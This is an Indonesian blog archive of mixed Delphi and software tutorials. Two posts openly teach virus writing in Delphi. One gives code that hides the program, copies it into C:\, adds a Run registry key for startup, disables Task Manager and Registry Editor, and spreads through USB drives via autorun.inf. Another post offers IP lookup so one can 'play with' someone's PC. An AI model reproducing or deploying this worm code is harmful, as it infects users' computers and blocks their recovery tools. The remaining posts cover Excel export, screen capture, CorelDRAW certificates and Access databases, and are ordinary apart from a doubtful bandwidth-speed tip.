May 2011



Menyambung posting sebelumnya,,, klo diantara teman-teman ada yang mau mencoba membuat virusnya coba baca artikel ini.

Delphi tidak bisa untuk membuat virus? well, itu asumsi salah, karena delphi adalah bahasa pemrograman sebagaimana visual basic, yang sering digunakan oleh pembuat virus.

Apakah delphi cocok digunakan untuk membuat virus? well, saya kira, jika ukuran virus menjadi isu utama, mungkin visual basic lebih cocok, karena memproduksi file executable lebih kecil. Jika daya hidup virus lebih utama saya pikir delphi lebih cocok untuk membuat virus, walau Anda tidak dapat menggunakan teknik pemrograman biasa jika hendak membuat virus.
Delphi adalah suatu tool pemrograman berorientasi objek produksi Borland (sekarang menjadi milik Code Gear kemudian berpindah ke Embarcardo ). Bahasa yang digunakan Delphi dikembangkan dari Bahasa Pemrograman Pascal tradisional, yang masih text based, dan masih berupa bahasa pemrograman terstruktur.

Umumnya, aplikasi yang dibuat oleh developer Delphi adalah aplikasi window dengan banyak operasi drag and drop komponen dan form-form. Namun program yang hendak kita buat adalah malcode, dimana ukuran file menjadi isu penting. Dalam pembuatan aplikasi windows, Delphi adalah salah satu yang terbaik (atau dalam kacamata saya, terbaik, tanpa kata ‘salah satu’ J) dari sisi kemudahan dan konsistensi, namun menghasilkan ukuran file executable yang lebih besar daripada bahasa sejenis yang paling sering digunakan untuk membuat virus, yakni Visual Basic. Kita akan meninggalkan kemudahan fasilitas yang ditawarkan IDE Delphi demi optimasi file executable malcode yang kita buat.

Banyaknya virus/worm lokal yang dibuat dengan Visual Basic dan jarang dibuat dengan Delphi, tidak berarti bahwa Visual Basic lebih baik atau lebih canggih daripada Delphi, masing-masing bahasa mempunyai kelebihan dan kekurangan.

Visual Basic mempunyai statement ‘sakti’ On Error Resume Next yang bermakna, “jika terjadi kesalahan dalam code yang dieksekusi saat ini, abaikan, dan lanjutkan untuk mengeksekusi baris code berikutnya”, dengan demikian, jika misalkan terdapat kesalahan pemrograman dalam tubuh virus/worm, Windows tidak menampilkan pesan error sama sekali, hal ini sangat meningkatkan tingkat ketersembunyian malcode yang dibuat dalam bahasa Visual Basic. Sangat tidak lucu, jika keberadaan virus yang seharusnya stealth, tiba-tiba karena bug dalam tubuhnya, memunculkan pesan error sehingga dengan mudah keberadaanya diketahui.

File executable yang dihasilkan oleh compiler Visual Basic relatif lebih kecil daripada Delphi. Hal ini disebabkan Windows secara default telah menyediakan library-library yang dibutuhkan aplikasi yang dibuat dengan Visual Basic, sehingga compiler tidak perlu membundelnya dalam file executable. Anda bebas menggunakan komponen Active X dan Form standar, file executable yang dihasilkan oleh compiler Visual Basic tetap kecil karena tidak berdiri sendiri. Hal ini merupakan kelebihan sekaligus kelemahan yang paling fatal dari semua virus yang dibuat dengan Visual Basic. Sebagai contoh dari hal yang sudah banyak diketahui, bahwa file executable Visual Basic 6 selalu membutuhkan msvbvm60.dll (Microsot Visual Basic Virtual Machine)agar bisa dieksekusi. Bagaimana jika penjinak virus menghapus atau merename msvbvm60.dll ? Karena kelemahan yang sangat mendasar inilah, hampir semua malcode yang dibuat selalu berusaha untuk melindungi file msvbvm60.dll dari serangan virus/worm hunter. Dan terdapat teknik menarik untuk menangani ketergantungan terhadap msvbvm60.dll ini.

File executable Delphi umumnya tidak bergantung pada library yang spesifik. Compiler Delphi telah membundel library yang dibutuhkan dalam file executable. Hal ini membuat file .exe aplikasi Windows yang dibuat dengan Delphi relatif jauh lebih besar daripada aplikasi yang dibuat dengan Visual Basic. Namun point terpenting disini, file executable Delphi lebih mandiri, dan kelemahan umum pada malcode Visual Basic, tidak dijumpai pada malcode Delphi. Lalu bagaimana dengan ukuran file exe malcode Delphi besar? Hal ini dapat disiasati dengan meninggalkan pemrograman berbasis window dan beralih ke modus console saat kita memprogram malcode.

Jadi memprogram virus dengan Delphi lebih sulit? Tidak juga. Virus atau worm windows tidak lebih dari sekedar permainan registry dan Windows API. Delphi telah menyediakan unit berisikan function-function siap pakai untuk mengakses Windows API dan registry. Dengan demikian Anda tidak perlu mengimport secara langsung function-function API dari library Windows ketika hendak menggunakannya(suatu hal yang mesti harus Anda lakukan jika Anda menggunakan Visual Basic). Selain itu, seandainya pun Anda tidak ingin berjibaku menggunakan modus console, ukuran malcode Delphi sebesar sekitar satu megabyte (sebelum dikompres dengan UPX) tidak ada artinya jika memang target media penyebarannya adalah flashdisk.

Berikut ini source code virus / worm yang dibuat dengan delphi.


DOWNLOAD:


Ok kawan,,untuk materi sekarang saya akan mencoba menjabarkan listing program untuk meng-eksport data dari komponen listview ke dalam excel..


uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ComCtrls,ComObj;


procedure TForm1.Button2Click(Sender: TObject);
var
xlapp, xlbook,XlSheet: OLEVariant;
baris,kolom,x,y:integer;
begin
xlapp := CreateOLEObject('Excel.Application');
xlbook := xlapp.Workbooks.Add;
XlSheet := XlBook.worksheets.add;
xlapp.Visible := True;
baris:=ListView1.Items.Count;
kolom:=3; // jumlah kolom listview

{Cetak judul kolom}
for x:=1 to 3 do
XlSheet.Cells[1,x].value:= ListView1.Columns[x-1].Caption;

for y:=0 to baris-1 do
for x:=1 to kolom do
begin
begin
if x=1 then
{cetak kolom pertama}
XlSheet.Cells[y+2,x].value := ListView1.Items.Item[y].Caption
else
{cetak kolom kedua dan seterusnya}
XlSheet.Cells[y+2,x].value := ListView1.Items.Item[y].SubItems[x-2];
end;
end;

end;


Nah untuk bagian ke-2 ini saya akan menuliskan listing program uintuk meng-eksport data dari DBGrid ke Excel, jadi diharapkan aplikasi yang kawan buat hasil proses maupun output yang akan di cetak bisa di cetak kedalam excel..

Dan ini adalah listing nya..

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs,comobj, StdCtrls, DB, DBTables, Grids, DBGrids;

type
TForm1 = class(TForm)
DataSource1: TDataSource;
DBGrid1: TDBGrid;
Table1: TTable;
Excel: TButton;
procedure ExcelClick(Sender: TObject);
private
{ Private declarations }
XlApp, XlBook, XlSheet, XlSheets, Range,chat : Variant; // Excel 97
WApp, Word : Variant; // Word 97

public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.ExcelClick(Sender: TObject);
var i,x:integer;

Sfile:string;
begin
// buka excel
XlApp := CreateOleObject('Excel.Application');
// tambahkan workbook
XlBook := XlApp.WorkBooks.Add;
// tambahkan worksheet
XlSheet := XlBook.worksheets.add;
//cetak header field dari dbgrid
for i:=0 to dbgrid1.FieldCount-1 do
begin
XlSheet.cells[2,i+1].value:=dbgrid1.columns[i].Title.Caption;
end;
// transfer data ke excel
table1.First;
x:=1;
while not table1.Eof do
begin
for i:=0 to dbgrid1.FieldCount-1 do
begin
XlSheet.cells[2+x,i+1].value:=dbgrid1.Fields[i].Text;
end;
table1.Next;
inc(x);
end;

//menampilkan aplikasi //XlApp.visible:=true;

//script dibawah ini untuk dialog disimpan atau ditampilkan

if MessageDlg('Apakah hasil export ditampilkan..?', mtConfirmation, [mbYes, mbNo], 0) = mrYes then
begin
MessageDlg('Hasil Ditampilkan', mtInformation,
[mbOk], 0);
XlApp.visible:=true;
end
else
//simpan ke file
begin
Sfile:= InputBox('Nama File', 'hasil export', 'c:\hasil.xls');
XlApp.ActiveWorkbook.SaveAs(sfile);
XlApp.visible:=true;
end


end;

end.


Nah kawan, sekarang aku mau share dikit tenang delphi..
Kali ini aku mau buat aplikasi yang bisa memberitahukan kita IP seseorang, kan kalo udah tau IP seseorang kita bisa maen-maen dengan PC-nya.. hehehe

Langsung aja y.

uses
Winsock;


function IAddrToHostName(const IP: string): string;
var
i: Integer;
p: PHostEnt;
begin
Result := '';
i := inet_addr(PChar(IP));
if i <> u_long(INADDR_NONE) then
begin
p := GetHostByAddr(@i, SizeOf(Integer), PF_INET);
if p <> nil then Result := p^.h_name;
end
else
Result := 'Invalid IP address';
end;


Topik ini mungkin sebenarnya udah basi, tapi kenyataanya masih banyak orang yang menghubungi aku untuk nanya-nanya soal programming virus. Karena itu, pada tutorial ini aku memutuskan untuk menjelaskan dasar-dasar pemrograman virus dengan Delphi. Tapi ingat, segala kerusakan dan kehilangan data karena artikel ini diluar tanggung jawabku sebagai penulis. OK ? Kalo setuju silakan lanjut.

Tingkat kerusakan yang ditimbulkan virus sangat bervariasi tergantung kreatifitas sang penulis virus. Hal-hal yang biasanya dilakukan oleh virus (terutama virus lokal) antara lain:

  • Menyembunyikan dirinya, artinya aplikasi akan berjalan tanpa sepengetahuan user
  • Meng-copy dirinya ke direktori sistem
  • Membuat dirinya otomatis dijalankan pada saat startup Windows
  • Mendisable fungsi-fungsi Windows tertentu seperti Task Manager, Registry Editor, dll
  • Men-copy dirinya ke media removable semacam flashdisk
  • Fungsi-fungsi lain seperti memunculkan pesan, menulis file tertentu, mengubah tulisan Start", dll.

Sekarang kita akan membahasnya satu-persatu. Peralatan yang dibutuhkan:

Yang udah pasti, Delphi
Kesabaran, ketelitian, mata yang sanggup memandang layar komputer berjam-jam
Album Yovie & Nuno dan segelas teh panas ;)

Attack #1 - Menyembunyikan diri

Kayaknya ini yang paling gampang deh, cukup ketikkan code berikut pada event form create:

Application.ShowMainForm := False;

Attack #2 - Men-copy diri ke sistem

Sebenarnya gak harus ke direktori sistem sih, ini kan cuma untuk contoh aja. Langsung aja kerikkan code ini:

CopyFile(PChar(Application.ExeName), 'C:\MyVirus.exe', False);

Attack #3 - Startup otomatis

Windows akan menjalankan program/script yang diletakkan pada:

  • HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
  • HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices
  • HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
  • HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  • HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows
  • HKLM\Software\Microsoft\Windows\CurrentVersion\Run
  • HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices
  • HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
  • HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
  • HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnceEx
  • HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
  • HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
  • C:\Documents and Settings\All Users\Start Menu\Programs\Startup
  • C:\Documents and Settings\[username]\Start Menu\Programs\Startup

Mo pilih yang mana ? Terserah. Untuk contoh kali ini, aku akan memilih registry key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run. Untuk itu, ketikkan code dbawah untuk mengakses registry dan membuat string value di path yg kusebutin diatas.

uses
Registry;

var
Reg : TRegistry;
begin
Reg := TRegistry.Create;
Reg.RootKey := HKEY_CURRENT_USER;
Reg.OpenKey('HKCU\Software\Microsoft\Windows\CurrentVersion\Run', True);
Reg.WriteString('MyVirus', 'C:\MyVirus.exe');
Reg.CloseKey;

Attack #4 - Disable tools bawaan Windows

Ada banyak tools bawaan Windows yang bisa dipakai untuk melawan malware, karena terlalu banyak, aku cuma akan menjelaskan gimana cara blokir Registry Editor dan Task Manager. Yang lainnya kembangkan sendiri yach...!

uses
Registry;

var
Reg : TRegistry;

begin
Reg := TRegistry.Create;
Reg.RootKey := HKEY_CURRENT_USER;
Reg.OpenKey('HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System', True);
Reg.WriteInteger('DisableTaskMgr', 1); //disable Task Manager
Reg.WriteInteger('DisableRegistryTools', 1); //disable Registry Editor
Reg.CloseKey;

Attack #5 - Menyebarkan diri ke flashdisk

Kebanyakan virus menyebar karena flashdisk yang dicolokin ke komputer yang telah terinfeksi. Biasanya virus tsersebut tidak lupa untuk membuat file autorun.inf agar virus tersebut otomatis dieksekusi pas dicolokin ke koputer lain. Dan demi kesederhanaan agar mudah dipahami, aku hanya akan mencontohkan proses penyebaran ke drive G:\

var
Atr : TextFile;

begin
if FileExists('G:\autorun.inf')= False and
FileExists('G:\MyVirus.exe') = False then
begin
//virus belum men-copy dirinya, copy...
CopyFile(PChar(Application.ExeName), 'G:\MyVirus.exe', False);

//tulis file autorun.inf
AssignFile(Atr, 'G:\autorun.inf');
ReWrite(Atr);
WriteLn(Atr, '[autorun]');
WriteLn(Atr, 'open=MyVirus.exe');
CloseFile(Atr);
end;
end;

Akan lebih baik lagi kalo code diatas dieksekusi secara periodik oleh timer. Silakan kembangkan sendiri attack-attack lainnya seperti memunculkan pesan, menulis file-file aneh, dll. Semoga setelah melihat sekilas alur penyebaran virus kita jadi lebih tau trik-trik untuk melindungi komputer kita tanpa antivirus. Semoga bermanfaat.

  

Atau, yang biasa disebut screen capture. Di Delphi, agar tidak menurunkan kualitas gambar hasil capture/snapshot, biasanya digunakakn TBitmap untuk menampung hasilnya. Nanti baru diubah ke format gambar lain yang diinginkan.

Tiap-tiap window di Windows memiliki handlenya sendiri, berupa bilangan bulat bertipe Dword (4 byte). Dekstop pun adalah sebuah window. Bila kita mengetahui handle sebuah window, kita dapat mengambil device context-nya (DC) berupa sebuah handle lain bertipe HDC (Handle of Device Context). Dari handle DC inilah, kita dapat mengcopy isi DC tersebut ke Bitmap.

Delphi mempermudah kita mengakses dan mengelola DC dengan sebuah class bernama TCanvas. Di atas TCanvas ini kita dapat menggambar, membuat teks, membuat efek-efek visual, ataupun menyalin dari dan ke Canvas lain.

Berikut potongan kode untuk mengambil handle window Desktop, mengambil handle DC (HDC)-nya dan mengcopynya ke TBitmap, dan menampilkannya pada sebuah TImage di atas Form.

01 function TFMain.SnapDesktop: TBitmap;
02 var
03 DC: TCanvas;
04 HDesk: THandle;
05 HCanvas: HDC;
06 w, h: integer;
07 begin
08 HDesk := GetDesktopWindow;
09 RefreshDesktop;
10 DC:= TCanvas.Create;
11 Result := TBitmap.Create;
12 try
13 dc.Handle := GetWindowDC(hdesk);
14 w := Screen.Width;
15 h := Screen.Height;
16 Result.Width := w;
17 Result.Height := h;
18 BitBlt(Result.Canvas.Handle, 0,0,w, h, dc.Handle, 0, 0, SRCCOPY);
19 finally
20 DC.Free;
21 end;
22 end;

Pada kode di atas, kita temui beberapa fungsi:

GetDesktopWindow() untuk mengambil handle desktop Windows.
GetWindowDC(handleWindow) untuk mengambil handle device context, dalam hal ini desktop Windows.
BitBlt() untuk mengcopy isi sebuah device context (DC) ke device context lainnya. Dalam contoh di atas, mengcopy dari DC desktop ke DC Bitmap.

Fungsi SnapDesktop di atas mengembalikan sebuah instance Bitmap yang kemudian dapat ditampilkan ke TImage, di-save ke file, atau diubah ke format gambar lainnya. Dalam contoh ini, Bitmap diubah ke gambar JPG (TJPEGImage) dengan kode berikut:

1 jpg := TJPEGImage.Create;
2 try
3 jpg.Assign(VariabelBitmap);
4 jpg.SaveToFile(NamaFile);
5 finally
6 jpg.Free;
7 end;

Dalam contoh kode yang tersedia untuk didownload, juga tersedia sebuah fungsi untuk memotong gambar sehingga hanya bagian tertentu saja yang diambil.

Berikut tampilan contoh aplikasi:

WinSnap_delphi_snapshot_screen_captureWinSnap_startup_windows



Download

Silahkan download WinSnap:

WinSnap Binary – 730KB
WinSnap Binary (7Zipped) – 280KB
WinSnap Source (7Zipped) – 20KB

UPDATE:

WinSnap Binary + Source (7Zipped)
– 300KB. Telah ditambahkan fungsi snap window tertentu.

Bebarapa hari yang lalu organisasi saya ada Kegiatan PKMD.  Semacam pelatihan untuk Mahasiswa baru dan  demi kelancaran acara tersebut kami bagi job. Kebetulan Job saya adalah Membuat Sertifikat untuk kenang-kenangan Pembicara yang mengisi acara tersebut. Baik lah saya akan menguraikan  pembuatan Sertifakat mengunakan CorelDRAW X3 dan saya membuat tutorial ini untuk teman saya minta ajari  cara membuatnya.dan untuk  semua orang.
Langkah-langkahnya;
1. Buka CorelDRAW X3
2. Buat Page baru atau CTRL + N
3. Buat Persegi panjang Menggunakan Rectangel tool atau tekan F6 dan ubah angka 0 pada right rectangle cornel roundness dan Left rectangle cornel roundness menjadi 5
 
4. Tambahkan outline tool seperti gambr ini





5.Kemudian pindah persegi panjang dan masukan ke paper
6. Buat lagi persegi panjang dengan rectangle tool seperti gambar ini




6.Tambahkan background dengan menggukan fountain fiil dialog atau tekan F11, akan ada kotak dialog 
 



from  : chartreuse
to      :  white
mid point : 38
7. Hasilnya sudah ada Background


8.  import logo organisasi kamu, kemudian gambar tersebut klik kanan untuk menghilangkan background pilih detail logo
akan ada kotak diaolog lagi kemudian klik ok!


9. Pindah hasil gambar tersebut ke  tengah gambar langakah 7
10. Beri efik interactive transprancy tool seperi gambar ini
11. Tambahkan variasi menggunakan rectangle tool dan  interactive distortion tool

12. Tambahkan warna menggunakan fountain fiil dialog atau tekan F11 sesuai kehandak anda, kemudian pindahkan objec tersebut ke  gambar pada langkah 10 dan beri interactive drop shadow tool kemudian tambahkan interactive transprancy tool




 13. Sebagian Variasi yang ada di tutorial/sertifikat ini tidak semuanya aku jelaskan, mudah-mudahan sahabat blog bisa berkreasi sendiri. 
14. langkah terakhir menanbah teks mengunakan text tol atau F8,  anda bisa mengubah bentuk font huruf, yang asalnya times new roman menjadi halloween, silahkan anda berkreasi sendiri. semoga hasil anda seperti gambar ini
 
15. The end.
Catatan :
              - Bila ada kesalahan dalam postingan ini, mohon sampaikan melaui chatbox
              - Saya tunggu saran anda yag sifatnya membangun







Kali ini saya ingin share sebuah tips untuk Mempercepat Akses Internet pada komputer sobat. Cara berikut memang bukan satu-satunya cara Mempercepat Akses Internet, karena kecepatan hanya sekitar 20% dari kecepatan biasa. Dalam semua versi dari Microsoft Windows, 20% dari total bandwidth yang tersedia digunakan untuk Windows Update, dan keperluan lainnya yang berhubungan dengan sistem Windows. Tapi sobat bisa mendisable fitur tersebut, sehingga sobat bisa mendapatkan 100% bandwidth dari koneksi internet sobat, yaitu dengan cara Mengaktifkan Limit Bandwidth Reserved.

Limit Bandwidth Reserved

Mempercepat Akses Internet dengan Mengaktifkan Limit Bandwidth Reserved
Mempercepat Akses Internet dengan Mengaktifkan Limit Bandwidth Reserved
Caranya cukup mudah, dan berikut langkah-langkahnya:
  • Start > RUN > ketikan “gpedit.msc” (tanpa kutip)
  • Jendela Group Policy akan terbuka, dan melalui jendela inilah sobat bisa Mengaktifkan Limit Bandwidth Reserved
  • Masuk pada: Local Computer Policy > Computer Configuration > Administrative Templates > Network > QoS Packet Scheduler > Limit Reservable Bandwidth
  • Double Click pada Limit Reservable bandwidth
  • Pilih Enable, kemudian pada Bandwidth Limit (%), set menjadi 0
  • Jika sudah, kemudian klik “OK
Untuk kesempurnaan konfigurasi, silahkan restar komputer sobat. Dan sekarang sobat bisa menikmati 100% bandwidth dari koneksi internet yang sobat miliki. Selamat Mempercepat Akses Internet dengan Mengaktifkan Limit Bandwidth Reserved.

Banyak hal yang bisa dilakukan dengan Photoshop, misalnya edit foto untuk memberikan efek-efek khusus yang dapat memperindah tampilan dari foto tersebut, manipulasi gambar, membuat animasi GIF, dan masih banyak lagi yang lainnya. Dan untuk membuat sebuah gambar menjadi indah, tidak begitu saja dengan klik, klik dan klik, tetapi juga membutuhkan jiwa seni yang tinggi. Akan tetapi bukan berarti kita yang tidak atau belum menguasai photoshop tidak bisa melakukan hal hebat dengan photoshop. Banyak sekali tutorial gratis yang dapat dijadikan media pembelajaran untuk mendesain dengan photoshop.
10 Website Penyedia Tutorial Desain Dengan Photoshop
10 Website Penyedia Tutorial Desain Dengan Photoshop

Tutorial Desain Dengan Photoshop

Berikut 10 Website Penyedia Tutorial Desain Dengan Photoshop yang sangat lengkap, dengan panduan dari 10 Website Penyedia Tutorial Desain Dengan Photoshop berikut, sudah bisa dipastikan jika sobat belajar dengan tekun, maka photoshop adalah hal yang mudah.
  1. www.ilmuphotoshop.com
  2. www.ilmugrafis.com
  3. www.klik-kanan.com
  4. www.photoshop.otodidak.info
  5. www.mbahdewo.com
  6. www.photoshopfiles.com
  7. www.slicktutorials.com
  8. www.photoshopcafe.com
  9. www.indsign-studio.com
  10. www.webtoolkit4.me
Silahkan dipelajari dari apa yang telah disediakan oleh ke-10 website diatas. Dan semoga dapat membantu sobat dalam memulai proses pembelajaran desain dengan menggunakan photoshop.

Skripsi – Bagi sobat mahasiswa yang sedang mencari-cari contoh skripsi ataupun contoh tugas akhir yang berhubungan dengan jurusan Teknik Informatika, ini saya punya contoh Skripsi Jurusan Teknik Informatika yang membahas tentang pemanfaatan ilmu Informatika dan Website untuk menunjang kemudahan dalam mengakses sebuah informasi penting di Masyarakat.
Besar filenya cuma 315KB, dan bisa sobat di Download di Blog ini.
Gambar Download Contoh Skripsi Jurusan Teknik Informatika
Gambar Download Contoh Skripsi Jurusan Teknik Informatika
Tertarik ingin men-Download Contoh Skripsi Jurusan Teknik Informatika ? silahkan di download di SINI.

Kali ini saya ingin share sebuah dokumen yang menurut saya penting sekali bagi anda yang memiliki jurusan Ekonomi dimana anda menuntut ilmu. Bagi sobat yang sedang mencari contoh-contoh skripsi untuk jurusan Ekonomi, sobat bisa men-Download Contoh Skripsi Jurusan Ekonomi di blog ini. Ada 2 file contoh skripsi yang bisa sobat download. Dan yang perlu di ingat, dokumen skripsi yang sobat akan download hanya sebagai contoh saja, jangan di jiplak ya.. kesian yang mpunya.. hehhee..
Download Contoh Skripsi Jurusan Ekonomi
Download Contoh Skripsi Jurusan Ekonomi
Berikut link Download Contoh Skripsi Jurusan Ekonomi:
Selamat men-Download Contoh Skripsi Jurusan Ekonomi.

Di sini saya akan menshare bagaimana cara membuat database menggunakan Microsoft Office Access 2007. Articale ini saya tulis karena saya mendapatkan tugas dari Dosen saya, 
sekalian tambah & update postingan my blog
sebelumnya,  taukah anda, apa itu Database ???????? 
adalah kumpulan informasi yang disimpan di dalam komputer secara sistematik sehingga dapat diperiksa menggunakan suatu program komputer untuk memperoleh informasi dari basis data tersebut.

Langkah-langkah Membuat Database menggunakan  Microsoft Office Access 2007
1. Pastikan ms office sudah anda install 
2.  Pilih Ms access 2007
3. Setelah anda open Ms access tadi, pilih blink database



4. kemudia akan tampil tampilan


5. Kemudian buka file name tadi seperti gambar di atas, akan muncul form lagi
buat folder kemudian pilih format file(mdb). karena nantinya kita akan menghubungkan access dengan Delphi(Postingan selanjutnya). setalah sudah di pilih tinggal klik ok

6. Pilih Create

7. Pilih table1, klik kanan pilih design view isi nama table: misalnya (club)

8.  kemudian isi table dengan berapa field yang anda inginkan, misalnya seperti ini

9. Di sini saya menggunakan 7 field (no, arsenal, Real Madrid, Chelsea, Barcalona, MU, Valencia). ganti field sizenya pada field Properties sesuai Keingginan anda

10.  Klik table (club) pilih open Isi Field dengan bebera Record


11. kemudian Save. liat hasilnya di mana anda menyimpan file tersebut.

12. Selesai .
di sini anda sudahmempunyai database nama - nama fans dari beberapa club



Setalah Postingan ini saya akan memposting Bagaimana cara menghubungkan delphi Dengan Data base Access (Bersambung)

7:32:00 PM
Bagi sobat yang suka atau sedang mempelajari tentang Pemrograman Delphi, kali ini saya ingin share 7 Modul tentang Pemrograman Delphi. Dari 7 modul yang ada, sobat mendapatkan tentang Dasar-dasar Pemograman Delphi, Dasar-dasar Percabangan Delphi, Dasar-dasar Perulangan Delphi, Dasar-dasar bekerja dengan SQL di Delphi, Dasar-dasar bekerja dengan Table di Delphi, Studi Kasus Pemrograman Delphi, dan Membuat Laporan tentang Pemrograman Delphi. Semua bisa sobat download Gratis di Blog ini.
Download 7 Modul Pemrograman Delphi Gratis
Download 7 Modul Pemrograman Delphi Gratis
Berikut link Download 7 Modul Pemrograman Delphi Gratis:
  1. Dasar-dasar Pemograman Delphi
  2. Dasar-dasar Percabangan Delphi
  3. Dasar-dasar Perulangan Delphi
  4. Dasar-dasar bekerja dengan SQL di Delphi
  5. Dasar-dasar bekerja dengan Table di Delphi
  6. Studi Kasus Pemrograman Delphi
  7. Membuat Laporan tentang Pemrograman Delphi
Silahkan di pelajari dan semoga membantu dan bermanfaat. Selamat men-Download 7 Modul Pemrograman Delphi Gratis.
Sumber Modul : http://terusbelajar.wordpress.com

Kali ini kita akan membahas bagaimana cara menghubungkan Delphi dengan Database acces, tapi sebelumnya anda harus mengatahui cara membuat database menggunakan Microsoft Office Acces. Bila anda belum mengatahui caranya, sebaiknya anda saya wajibkan membaca postingan saya ini,  Membuat Database menggunakan  Microsoft Office Access 2007

Bila anda sudah bisa membuat  Database menggunkan acces, baiklah kita langsung pada inti dari postingan saya kali ini yaitu Menghubungkan Delphi dengan database Acces (langsung ke tkp)

 Adapun Langkah -langkahnya ?
1. Install  Delphi 7 kemudian Open
2. Buat Form seperti gambar di bawah ini


3. Komponen yang di Gunakan :
ADO Connection Ada Di Pallete ADO
ADOTable Ada di Pallete ADO
DataSource Ada di Pallete Data Acces 
DBNavigator Ada di Pallete Data Control 
DBGrid Ada di Pallete Data Control
Button Ada di Pallete standar
Label Ada di Pallete standar
 
 4.  Atur  Object Inspector seperti ini 
 
 
 
5. Untuk komponen Button : name = butun1 & caption = keluar
                              label : name = label1 & caption = Nama- nama Fans Club Sepak bola 
6. Pada AdoConnection Properties pilih connection string kemudian klik akan muncul tampilan seperti ini

  7. Apabila semua langkah - langkah sudah anda cek kebenarannya, hasilnya seperti ini


8  Kemudian klik Run (F9) untuk menjalankannya liat hasilnya

9. Berhasil, Selamat mencoba

Catatan : Postingan ini saya buat untuk memenuhi tugas mata kuliah dari dosen saya
             tugas saya bagi menjadi 2  judul
                2. Menghubungkan Delphi dengan database Acces





12:10:00 AM


Drawing1
Setelah sekian lama pengen punya hotspot di rumah agar internetan jadi murah dengan via hp kesayangan Nokia yang punya fitur Wifi.
Akhirnya terbersit ide kenapa paket speedy ini kagak ane share ke hape ane, akhirnya bertanya ke paman ane yg di amrik yaitu paman goober eh salah paman google akhirnya nemu juga artikel yang sesuai di hati dan di kantong (karena syaratnya cuma Tangtop eh Laptop ber OS 7 + ada Wifinya + LAN untuk memasukkan koneksi speedynya + Connectify Me :thanks ini software kecil ukurannya tp mantap dan memuaskan:
Langkah pertama yaitu : Tancapin itu LAN Speedy ke Laptop agar laptop kita dialiri Koneksi Internet, ingat ya perhatikan Langkahnya Step by Step :)
Donlot program Connectify nya DISINI dan Install program nya dan jalanin Easy Setup Wizard, program ini bisa menyebarkan koneksi speedy melalui wifi Laptop kita jadi istilahnya nantinya laptop kita jadi Routernya gitu dah
Hidupkan Wifi LAPTOP, Wifi device : Pilih Wifi yg akan jadiin HotSpot
Network Name : terserah isi apa saja
HotSpot Mode : WPA2 ( supaya security password nya kuat )
Pass : Password utk HotSPot nya ( Biasanya terdiri dari 13 karakter )
Share : Pilih ICS yg sudah di enable kan ( yg ke arah provider ) Networkednya jangan lupa di enablekan ya, beeres deh :D
Silahkan di Test,  Feedback nya disini ya klo ada kesulitan :) Dan ingat ya, untuk Windows 7 Starter Edition tdk support, selain Windows 7 Starter Edition bisa dijalankan :)
Silahkan dibaca FAQ mengenai Connectify ini, bacanya DISINI
Kesan:
Tapi memang agak susah nih sy sendiri juga utak atik sendiri sampe beberapa lama hingga berhasil, tp setelah berhasil langsung puas karena koneksi speedy bisa ane nikmati dan kesharing di hp ane jd tiap bulan cukup bayar tagihan speedy aja di rumah

Untuk mengecek apakah suatu file ada dalam suatu direktori tertentu, Anda dapat menggunakan fungsi yang di sediakan Delphi.
Rumus fungsi:
FileExists(const FileName:string):boolean.
langkah pertama : letakan Button dan Edit di dalam Form
Langkah kedua: isikan program dengan listing program di bawah ini
Procedure Tfrom.Button1Click(Sender:TObject);
begin
if Edit1.Text = ' ' then
ShowMessage('isikankan nama file yang dicari')
else
begin
if FileExits(Edit1.Text) = true then // jika ada
ShowMessage('file " ' +Edit1.Text + ' " ada. ')
else // Jika tidak ada
showMessage('File " ' +Edit1.Text + ' " tidak dtemukan. ');
end;
end;
langakh ketiga : Klik Run
Selamat mecoba

Untuk mengetahui ukuran suatu file, Delphi telah menyediakan fungsi FileSize(var F) : integer
Pada contoh program berikut, saya menggunakan fungsi Windows API GetFileSize( ).
Contoh Program Delphi sebagai berikut:
Langkah pertama : desain form dengan popertiey 2 Button , Edit1 , OpenDialog
Langkah kedua isikan listing program sebagai berikut:

Procedure Tfrom. Button1Click(sender:Tobject);
var FileHendle : integer;
HightOrderSize :^Dword;
LowOrderSize : Dword;
begin
FileHendle:= 0;
try
FileHendle:= Fileopen(Edit1.text, fmOpenRead);
if FileHendle=-1 then
begin
ShowMessage('gagal membuka file');
exit;
end;
HightOrderSize:=nil;
LowOrderSize:=GetFilesize(fileHendle, HightOrderSize);
if LowOrderSize = INVALID_FILE_SIZE then
ShowMessage('gagal mendapatkan ukuran file')
else
if HightOrderSize <> nil then
Application.MessageBox('Ukuran file > 4,39 Gbyte' , 'info ukuran file', MB_OK or MB_ICONINFORMATION);
else
Application.MessageBox(PChar('Ukuran file : ' + IntToStr(LowOrderSize) + 'Byte') , 'info ukuran file' , MB_OK or MB_ICONINFORMATION);
finally
FileClose(FileHendle);
end;
end;

Procedure Tform. Button2Click(Sender: TObject);
begin
if OpenDialog1.Execute then
Edit1.Text := OpenDialog1.FileName;
end;

Agar EditBox hanya bisa menerima input karakter tertentu saja. Sebagai contoh agar EditBox hanya bisa diisi dengan bilangan, bukan karakter huruf.

Program berikut menunjukkan cara agar EditBox hanya bisa diisi dengan bilangan heksadesimal, yakini (0..9) , (A..F) , atau (a..f).

Procedure TFrom1.Edit1KeyPress (sender: TObject; Var Key: Char);
begin
if not(((Key>#48) and (key<=#57)) 0r ((key>=#65) and (key<=#70)) or (key>=#97) and (key<=#102)) or (key=#8)) then key:= #0;
end;

